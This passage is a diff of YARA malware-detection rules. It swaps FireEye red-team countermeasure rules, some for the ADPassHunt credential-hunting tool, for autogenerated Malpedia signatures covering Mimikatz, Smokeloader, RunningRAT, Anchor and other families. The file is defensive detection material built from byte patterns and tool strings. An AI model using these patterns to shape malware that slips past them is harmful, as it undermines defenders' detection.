-		$s0 = { 89 [1-16] FF 15 [4-16] 89 [1-24] E8 [4-16] 89 C6 [4-24] 8D [1-8] 89 [1-4] 89 [1-4] E8 [4-16] 89 [1-8] E8 [4-24] 01 00 00 00 [1-8] 89 [1-8] E8 [4-64] 8A [1-8] 88 }
-		$s1 = { 83 EC [1-16] 04 00 00 00 [1-24] 00 30 00 00 [1-24] FF 15 [4-16] EB [16-64] 20 00 00 00 [0-8] FF 15 [4-32] C7 44 24 ?? 00 00 00 00 [0-8] C7 44 24 ?? 00 00 00 00 [0-16] FF 15 }
-		$si1 = "fread" fullword
-		$si2 = "fwrite" fullword
+		$sequence_0 = { 2bc6 3d00400000 7605 b800400000 }
+		$sequence_1 = { a3???????? a1???????? 50 c705????????04000000 }
+		$sequence_2 = { 7605 b800400000 8b4f04 6a00 50 }
+		$sequence_3 = { 7557 33c0 68???????? a3???????? a3???????? a3???????? }
+		$sequence_4 = { 48 7455 48 7434 }
+		$sequence_5 = { 8b6c2414 682c010000 8bcf e8???????? }
+		$sequence_6 = { 50 c705????????04000000 ff15???????? c20400 a1???????? }
+		$sequence_7 = { ff15???????? c20400 c705????????01000000 a1???????? 68???????? }
+		$sequence_8 = { 7434 83e803 7557 33c0 }
+		$sequence_9 = { 8954240a 66c74424080200 8954240e 894c240c 89542412 }
+		$sequence_10 = { 8b6c2414 8bc7 2bc6 3d00400000 }
+		$sequence_11 = { 85c0 7e3b 8b4604 8d542418 52 }
+		$sequence_12 = { 85db 8bf9 763f 8b6c2414 682c010000 }
+		$sequence_13 = { e8???????? 85c0 7534 8bc3 2bc6 3d00400000 }
+		$sequence_14 = { 83fe01 7518 53 ff15???????? }
+		$sequence_15 = { 85c0 740e 8b4c241c 51 6a01 }
+
+	condition:
+		7 of them and filesize <483328
+}
+rule MALPEDIA_Win_Rincux_Auto : FILE
+{
+	meta:
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "f27efa3f-a583-5935-b25f-3d309003cd7f"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rincux"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.rincux_auto.yar#L1-L127"
+		license_url = "N/A"
+		logic_hash = "bab1d2c8fa3084a76a95e14132fec6ddc959ff0aa0d14a5e81e01f5b29b7ad34"
+		score = 75
+		quality = 75
+		tags = "FILE"
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
+
+	strings:
+		$sequence_0 = { 742d b9fa000000 33c0 8dbc24c0000000 8d9424c0000000 f3ab 8d8c24b0000000 }
+		$sequence_1 = { 8bcd 52 57 e8???????? 8b442410 8d4c2424 6a04 }
+		$sequence_2 = { 7425 8b442410 8d4c2424 88442424 }
+		$sequence_3 = { c68424fd00000076 888c24fe000000 888424ff000000 c68424000100005c c684240101000052 c684240201000044 c684240301000050 }
+		$sequence_4 = { c20800 33c0 8a4701 894614 8b4df4 64890d00000000 }
+		$sequence_5 = { ff15???????? 83f8ff 7511 8b16 52 ff15???????? 5f }
+		$sequence_6 = { 5e 83c42c c20400 8b542438 8d4c2408 51 52 }
+		$sequence_7 = { 84c0 74d8 5f 5e 5d 5b }
+		$sequence_8 = { 53 57 8b7c242c 6683f90e 7502 }
+		$sequence_9 = { 50 68???????? e9???????? 40 c745fc00000000 50 e8???????? }
 
 	condition:
-		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and all of them
+		7 of them and filesize <392192
 }
-rule FIREEYE_RT_Loader_Win_Generic_18 : FILE
+rule MALPEDIA_Win_Anchor_Auto : FILE
 {
 	meta:
-		description = "No description has been set in the source file - FireEye-RT"
-		author = "FireEye"
-		id = "6f44bd64-29bd-50e2-8b61-7ba61bb1f688"
-		date = "2020-11-25"
-		date = "2020-11-25"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/BEACON/supplemental/yara/Loader_Win_Generic_18.yar#L4-L19"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "c74ebb6c238bbfaefd5b32d2bf7c7fcc"
-		logic_hash = "28c9497f646fcf3daf7007d7afd37971dd85382062c064173f13049ad419fef1"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "1c11ed2a-15a5-596e-9198-01902495df6c"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.anchor"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.anchor_auto.yar#L1-L193"
+		license_url = "N/A"
+		logic_hash = "886cb58595403596c3f5d2209b3ab4ffe1064302e9312c9e2ca7e76025f4d7c9"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
-		rev = 3
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$s0 = { 89 [1-16] FF 15 [4-16] 89 [1-24] E8 [4-16] 89 C6 [4-24] 8D [1-8] 89 [1-4] 89 [1-4] E8 [4-16] 89 [1-8] E8 [4-24] 01 00 00 00 [1-8] 89 [1-8] E8 [4-64] 8A [1-8] 88 }
-		$s2 = { 83 EC [4-24] 00 10 00 00 [4-24] C7 44 24 ?? ?? 00 00 00 [0-8] FF 15 [4-24] 89 [1-4] 89 [1-4] 89 [1-8] FF 15 [4-16] 3? ?? 7? [4-24] 20 00 00 00 [4-24] FF 15 [4-32] F3 A5 }
-		$si1 = "fread" fullword
-		$si2 = "fwrite" fullword
+		$sequence_0 = { 740c 66c740016578 c6400365 eb0a }
+		$sequence_1 = { c6400365 eb0a 66c74001646c c640036c }
+		$sequence_2 = { 56 8d8dbcfeffff e8???????? 68???????? 8d8dbcfeffff }
+		$sequence_3 = { b101 e8???????? e8???????? 84c0 }
+		$sequence_4 = { 56 e8???????? 8b30 837e0c00 }
+		$sequence_5 = { 8b4638 5f 66894812 33c9 8b4638 }
+		$sequence_6 = { f2e965020000 e9???????? 53 56 57 }
+		$sequence_7 = { 0f90c1 f7d9 0bc8 51 e8???????? 8b0d???????? c1e102 }
+		$sequence_8 = { 0fb7c1 6641 66890d???????? 50 }
+		$sequence_9 = { 7509 33d2 33c9 e8???????? }
+		$sequence_10 = { 488d0d520b0400 e8???????? 488b8500010000 488b8d08010000 }
+		$sequence_11 = { 488d0d516d0200 e8???????? 488d8d680e0000 e8???????? }
+		$sequence_12 = { 488d0d50840200 e8???????? 488d0d48840200 e8???????? }
+		$sequence_13 = { 4903c7 c64405b079 4903c7 c64405b073 4903c7 c64405b074 4903c7 }
+		$sequence_14 = { 488d0d528a0300 e8???????? 488b8de0000000 e8???????? }
+		$sequence_15 = { 488b4318 66894802 8d4f6e 488b4318 66894804 }
+		$sequence_16 = { 488d0d52b90200 e8???????? e8???????? 48894508 }
+		$sequence_17 = { e8???????? 4c8d442468 48837d8010 4c0f43442468 }
+		$sequence_18 = { 488d0d50480300 e8???????? 90 488b8500010000 488da5e8000000 5f }
+		$sequence_19 = { 4889442428 488d85d0030000 4889442420 4c8d4c2448 }
+		$sequence_20 = { 488d0d52cd0300 e8???????? 90 488b8d00010000 }
 
 	condition:
-		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and all of them
+		7 of them and filesize <778240
 }
-rule FIREEYE_RT_Trojan_Raw_Generic_4 : FILE
+rule MALPEDIA_Win_Jackpos_Auto : FILE
 {
 	meta:
-		description = "No description has been set in the source file - FireEye-RT"
-		author = "FireEye"
-		id = "9092f9bb-cab6-55c0-9452-70a6407db93a"
-		date = "2020-12-02"
-		date = "2020-12-02"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/BEACON/supplemental/yara/Trojan_Raw_Generic_4.yar#L4-L17"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "f41074be5b423afb02a74bc74222e35d"
-		logic_hash = "8ffd23631c1a9d1abe6695858ec34d61261b3b3f097be94372f3f34e46e7211e"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "095b3872-c166-52ad-a52d-1faeb1056a2e"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.jackpos"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.jackpos_auto.yar#L1-L120"
+		license_url = "N/A"
+		logic_hash = "45db7695f021a95c6d3c662e5ca72119b052256c8a3ceeaf6c22b39c2e1870c0"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		rev = 1
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$s0 = { 83 ?? 02 [1-16] 40 [1-16] F3 A4 [1-16] 40 [1-16] E8 [4-32] FF ( D? | 5? | 1? ) }
-		$s1 = { 0F B? [1-16] 4D 5A [1-32] 3C [16-64] 50 45 [8-32] C3 }
+		$sequence_0 = { 8b5604 eb03 8d5604 2bc7 03c0 50 }
+		$sequence_1 = { d1f8 03d0 eb0f 85c0 }
+		$sequence_2 = { 75ed 837df408 8b4dfc 7202 }
+		$sequence_3 = { 8b4508 e8???????? 8b7d08 8b550c 8b4718 3b7d10 747e }
+		$sequence_4 = { 52 8bf0 53 897588 e8???????? }
+		$sequence_5 = { 7303 8d45d8 8d4dac 51 50 e8???????? 8b55b4 }
+		$sequence_6 = { 85ff 7f87 5f 8bc6 5e 5b }
+		$sequence_7 = { 8b4604 33c9 66890c03 5f 8bc6 }
+		$sequence_8 = { 765a 8b4a14 57 3bc1 734e 2bc8 8bf9 }
+		$sequence_9 = { 037214 ebc4 5f 5e 5d }
 
 	condition:
-		uint16(0)!=0x5A4D and all of them
+		7 of them and filesize <319488
 }
-rule FIREEYE_RT_APT_Hacktool_MSIL_Adpasshunt_2 : FILE
+rule MALPEDIA_Win_Mimikatz_Auto : FILE
 {
 	meta:
-		description = "No description has been set in the source file - FireEye-RT"
-		author = "FireEye"
-		id = "a3b12fd7-e82d-5ef0-9125-7c069cd9bec4"
-		date = "2020-12-02"
-		date = "2020-12-02"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/ADPASSHUNT/production/yara/APT_HackTool_MSIL_ADPassHunt_2.yar#L4-L23"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "6efb58cf54d1bb45c057efcfbbd68a93"
-		logic_hash = "e2dc7db1860eef04a569f007c32abd507dd588d1392613efbb31f42ca66ff735"
-		score = 50
-		quality = 75
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "d4a7b901-d580-5f27-9943-deb2fd01403a"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mimikatz"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.mimikatz_auto.yar#L1-L208"
+		license_url = "N/A"
+		logic_hash = "545bdfd9bb109ef6aa7c579d3c8a6e0e694cb1fac0a4b134cb9c66bf853a0582"
+		score = 75
+		quality = 73
 		tags = "FILE"
-		rev = 1
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$s1 = "LDAP://" wide
-		$s2 = "[GPP] Searching for passwords now..." wide
-		$s3 = "Searching Group Policy Preferences (Get-GPPPasswords + Get-GPPAutologons)!" wide
-		$s4 = "possibilities so far)..." wide
-		$s5 = "\\groups.xml" wide
-		$s6 = "Found interesting file:" wide
-		$s7 = "\x00GetDirectories\x00"
-		$s8 = "\x00DirectoryInfo\x00"
+		$sequence_0 = { f7f1 85d2 7406 2bca }
+		$sequence_1 = { 83f8ff 750e ff15???????? c7002a000000 }
+		$sequence_2 = { c3 81f998000000 7410 81f996000000 7408 }
+		$sequence_3 = { e8???????? 894720 85c0 7413 }
+		$sequence_4 = { f30f6f4928 f30f7f8c24a0000000 f30f6f4138 f30f7f8424b8000000 }
+		$sequence_5 = { 83f812 72f1 33c0 c3 }
+		$sequence_6 = { ff5028 8be8 85c0 787a }
+		$sequence_7 = { 66894108 33c0 39410c 740b }
+		$sequence_8 = { eb0c bfdfff0000 6623fe 6683ef07 8b742474 }
+		$sequence_9 = { 6683f83f 7607 32c0 e9???????? }
+		$sequence_10 = { 2bc1 85c9 7403 83c008 d1e8 8d441002 }
+		$sequence_11 = { ff15???????? b940000000 8bd0 89442430 }
+		$sequence_12 = { 3c02 7207 e8???????? eb10 }
+		$sequence_13 = { ff15???????? b9e9fd0000 8905???????? ff15???????? }
+		$sequence_14 = { 8d04f530d94600 8938 68a00f0000 ff30 83c718 ff15???????? 85c0 }
+		$sequence_15 = { 837e1800 7402 ffd0 e8???????? 53 }
+		$sequence_16 = { 57 33ff ffb750da4600 ff15???????? 898750da4600 83c704 }
+		$sequence_17 = { e8???????? 8d04453cdb4600 8bc8 2bce 6a03 d1f9 68???????? }
+		$sequence_18 = { a1???????? a3???????? a1???????? c705????????cf2f4000 8935???????? }
+		$sequence_19 = { 8888a0d44600 40 ebe6 ff35???????? ff15???????? }
+		$sequence_20 = { 8a80a4d54600 08443b1d 0fb64601 47 3bf8 76ea 8b7d08 }
+		$sequence_21 = { 43 83c408 83fb04 7cdc 8b5df8 8ad3 }
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
+		7 of them and filesize <1642496
 }
-rule FIREEYE_RT_APT_Hacktool_MSIL_Adpasshunt_1 : FILE
+rule MALPEDIA_Win_Runningrat_Auto : FILE
 {
 	meta:
-		description = "No description has been set in the source file - FireEye-RT"
-		author = "FireEye"
-		id = "736b5300-215b-5314-9234-69ff0050b73e"
-		date = "2020-12-02"
-		date = "2020-12-02"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/ADPASSHUNT/production/yara/APT_HackTool_MSIL_ADPassHunt_1.yar#L4-L17"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "6efb58cf54d1bb45c057efcfbbd68a93"
-		logic_hash = "63135c81c1a6b967cb26cced628afc0e7ef485923e6a7fd70a4d4672118d6a8c"
-		score = 50
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "dfc93b52-63e2-55d7-a28a-ac61edd067cb"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.runningrat"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.runningrat_auto.yar#L1-L161"
+		license_url = "N/A"
+		logic_hash = "93ccf5e13fdb9515ec5cdc43025f3b9796a39f81cb6409c0f2fa39eb59211d22"
+		score = 75
 		quality = 75
 		tags = "FILE"
-		rev = 2
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sb1 = { 73 [2] 00 0A 0A 02 6F [2] 00 0A 0B 38 [4] 12 ?? 28 [2] 00 0A 0? 73 [2] 00 0A 0? 0? 0? 6F [2] 00 0A 1? 13 ?? 72 [4] 13 ?? 0? 6F [2] 00 0A 72 [4] 6F [2] 00 0A 1? 3B [4] 11 ?? 72 [4] 28 [2] 00 0A 13 ?? 0? 72 [4] 6F [2] 00 0A 6F [2] 00 0A 13 ?? 38 [4] 11 ?? 6F [2] 00 0A 74 [2] 00 01 13 ?? 11 ?? 72 [4] 6F [2] 00 0A 2C ?? 11 ?? 72 [4] 11 ?? 6F [2] 00 0A 72 [4] 6F [2] 00 0A 6F [2] 00 0A 72 [4] 28 [2] 00 0A }
-		$sb2 = { 02 1? 8D [2] 00 01 [0-32] 1? 1F 2E 9D 6F [2] 00 0A 72 [4] 0A 0B 1? 0? 2B 2E 0? 0? 9A 0? 0? 72 [4] 6F [2] 00 0A 2D ?? 06 72 [4] 28 [2] 00 0A 0A 06 72 [4] 0? 28 [2] 00 0A 0A 0? 1? 58 0? 0? 0? 8E 69 32 CC 06 2A }
+		$sequence_0 = { ff15???????? 56 ff15???????? 8b8c2418010000 }
+		$sequence_1 = { 8b4904 56 8b742410 56 8d542414 50 }
+		$sequence_2 = { 85c0 7404 50 ff5650 8b5660 }
+		$sequence_3 = { 8988100b0000 8d88740a0000 8988280b0000 33c9 c780180b000080cd0110 89901c0b0000 c780240b000098cd0110 }
+		$sequence_4 = { 894554 89542428 b910000000 33c0 8d7c2438 }
+		$sequence_5 = { 8d442440 c1e902 f3a5 8bca 50 83e103 }
+		$sequence_6 = { 5d 33c0 5b 81c4f8020000 c20400 8b35???????? 6800000100 }
+		$sequence_7 = { c7462400000000 83c610 6a00 56 ff15???????? 5e }
+		$sequence_8 = { 7cd9 8bf2 8b8e80000000 b8cdcccccc f7a684000000 c1ea04 }
+		$sequence_9 = { 83c404 395630 740d 8b542418 }
+		$sequence_10 = { 8d942410010000 52 6a00 6a00 }
+		$sequence_11 = { 8d842432020000 6a00 50 c684242c02000046 }
+		$sequence_12 = { 83ea01 898c3c90000000 75ed 8bd3 33ff 8d4900 }
+		$sequence_13 = { 8b742424 e9???????? 6803010000 8d442431 6a00 50 }
+		$sequence_14 = { 33c0 e8???????? 81c468040000 c3 3b0d???????? 7502 }
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
+		7 of them and filesize <278528
 }
-rule FIREEYE_RT_Credtheft_MSIL_Adpasshunt_2 : FILE
+rule MALPEDIA_Win_Unidentified_102_Auto : FILE
 {
 	meta:
-		description = "No description has been set in the source file - FireEye-RT"
-		author = "FireEye"
-		id = "b6103e23-8d1c-5d01-b283-f4545ccb924e"
-		date = "2020-12-09"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/ADPASSHUNT/production/yara/CredTheft_MSIL_ADPassHunt_2.yar#L4-L19"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "6efb58cf54d1bb45c057efcfbbd68a93"
-		logic_hash = "e7282905a8baeaeb8ec156171fbf2bc4ac811facb80959a88394f4938a145cc1"
-		score = 50
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "68f5ede2-e772-5b9c-86c7-72da7d6ddaff"
+		date = "2023-07-11"
+		modified = "2023-07-15"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_102"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.unidentified_102_auto.yar#L1-L130"
+		license_url = "N/A"
+		logic_hash = "7cf959abf8b06a75a101a66334f27ae5601df812c1ddb140fd9298ef735bb0dc"
+		score = 75
 		quality = 75
 		tags = "FILE"
-		rev = 1
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20230705"
+		malpedia_hash = "42d0574f4405bd7d2b154d321d345acb18834a41"
+		malpedia_version = "20230715"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$pdb1 = "\\ADPassHunt\\"
-		$pdb2 = "\\ADPassHunt.pdb"
-		$s1 = "Usage: .\\ADPassHunt.exe"
-		$s2 = "[ADA] Searching for accounts with msSFU30Password attribute"
-		$s3 = "[ADA] Searching for accounts with userpassword attribute"
-		$s4 = "[GPP] Searching for passwords now"
+		$sequence_0 = { 6bd238 8b0c8d187b0410 88441129 8b0b 8bc1 c1f806 }
+		$sequence_1 = { 83c408 8bb5e8fdffff 8dbdd8fdffff 83bdecfdffff10 c745b000000000 0f43bdd8fdffff }
+		$sequence_2 = { 8bf3 6bf938 c1fe06 6a00 8b0cb5187b0410 ff740f24 }
+		$sequence_3 = { 894610 c7461407000000 668906 e9???????? 837f1410 8bcf 7202 }
+		$sequence_4 = { c785e4fbffff07000000 8d5102 668985d0fbffff 6690 668b01 83c102 6685c0 }
+		$sequence_5 = { 8d85e8e7ffff 68???????? 50 ff15???????? 83c410 8d8594e7ffff 50 }
+		$sequence_6 = { 0f1085b0fcffff 0f1100 8bc4 0f108590fcffff 51 0f1100 ff5228 }
+		$sequence_7 = { 83c408 8b95dcfeffff 83fa10 722f 8b8dc8feffff 42 8bc1 }
+		$sequence_8 = { 6a00 68???????? 6802000080 c785c8e7ffff3f000f00 ff15???????? 85c0 0f84ef000000 }
+		$sequence_9 = { 8d45f4 64a300000000 8965f0 8b4510 8b4d18 8b5d0c }
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and ((@pdb2[1]<@pdb1[1]+50) or 2 of ($s*))
+		7 of them and filesize <626688
 }
-rule FIREEYE_RT_Credtheft_MSIL_Adpasshunt_1 : FILE
+rule MALPEDIA_Win_Broler_Auto : FILE
 {
 	meta:
-		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the public ADPassHunt project."
-		author = "FireEye"
-		id = "35fb8032-c73a-549f-9bd9-409f7050bdb0"
-		date = "2020-12-09"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/ADPASSHUNT/production/yara/CredTheft_MSIL_ADPassHunt_1.yar#L4-L15"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "6efb58cf54d1bb45c057efcfbbd68a93"
-		logic_hash = "85c7c147d6bf5b7cb417ff2910a3e7ab3be5e8a3651758c07f8f0ed42b5964d8"
-		score = 50
-		quality = 73
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "5abffeef-f83b-5c44-9f6f-38ecebdd4974"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.broler"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.broler_auto.yar#L1-L124"
+		license_url = "N/A"
+		logic_hash = "a9e85383ead8a369d8ed21ea68b384350908e471fda84214a900f85e6e6d4412"
+		score = 75
+		quality = 75
 		tags = "FILE"
-		rev = 4
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$typelibguid = "15745B9E-A059-4AF1-A0D8-863E349CD85D" ascii nocase wide
+		$sequence_0 = { 6a00 68???????? 50 68???????? 56 ff15???????? 898520dffcff }
+		$sequence_1 = { 39b820b54100 0f8491000000 ff45e4 83c030 3df0000000 72e7 81ffe8fd0000 }
+		$sequence_2 = { e8???????? 83c404 33c0 8845f0 8945f1 8945f5 668945f9 }
+		$sequence_3 = { 8d8db0dffcff 51 ba???????? e8???????? }
+		$sequence_4 = { e8???????? 83c404 33ff be0f000000 89b588fdffff 89bd84fdffff c68574fdffff00 }
+		$sequence_5 = { 33ff 3bcf 7564 c743140f000000 897b10 b8???????? }
+		$sequence_6 = { 898ed4030000 8b5004 8996d8030000 8b4808 }
+		$sequence_7 = { 899d50fdffff ff15???????? 8b9550fdffff 52 8d45a8 68???????? 50 }
+		$sequence_8 = { e8???????? e9???????? 50 8d459c 50 }
+		$sequence_9 = { 895910 c741140f000000 8d5508 89a51cdffcff 8819 52 }
 
 	condition:
-		uint16(0)==0x5A4D and $typelibguid
+		7 of them and filesize <275456
 }
-rule FIREEYE_RT_Loader_MSIL_Sharpy_1 : FILE
+rule MALPEDIA_Win_Smokeloader_Auto : FILE
 {
 	meta:
-		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'SharPy' project."
-		author = "FireEye"
-		id = "7c7bda22-bacc-5901-a650-a30c9cfcdee7"
-		date = "2020-12-09"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/SHARPY/production/yara/Loader_MSIL_SharPy_1.yar#L4-L15"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "dd8805d0e470e59b829d98397507d8c2"
-		logic_hash = "0f73fab3905b4961b8dbeb120d45a34a2383ecdaae0296f38e34f8b7ab4aeee8"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "977bd971-8931-5636-8c4a-15a97d7d7052"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.smokeloader"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.smokeloader_auto.yar#L1-L568"
+		license_url = "N/A"
+		logic_hash = "1e0a8327807cdebec07ee883bf0e214c6531b2f2bf2969115a759b540a5a3955"
 		score = 75
-		quality = 73
+		quality = 50
 		tags = "FILE"
-		rev = 1
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$typelibguid0 = "f6cf1d3b-3e43-4ecf-bb6d-6731610b4866" ascii nocase wide
+		$sequence_0 = { ff15???????? 8d45f0 50 8d45e8 50 8d45e0 50 }
+		$sequence_1 = { 57 ff15???????? 6a00 6800000002 6a03 6a00 6a03 }
+		$sequence_2 = { 50 8d45e0 50 56 ff15???????? 56 ff15???????? }
+		$sequence_3 = { 8bf0 8d45dc 50 6a00 53 ff15???????? }
+		$sequence_4 = { 740a 83c104 83f920 72f0 }
+		$sequence_5 = { e8???????? 8bf0 8d45fc 50 ff75fc 56 6a19 }
+		$sequence_6 = { ff15???????? bf90010000 8bcf e8???????? }
+		$sequence_7 = { 0fb64405dc 50 8d45ec 50 }
+		$sequence_8 = { 50 56 681f000f00 57 }
+		$sequence_9 = { 56 8d45fc 50 57 57 6a19 }
+		$sequence_10 = { 668ce8 6685c0 7406 fe05???????? }
+		$sequence_11 = { 8b07 03c3 50 ff15???????? }
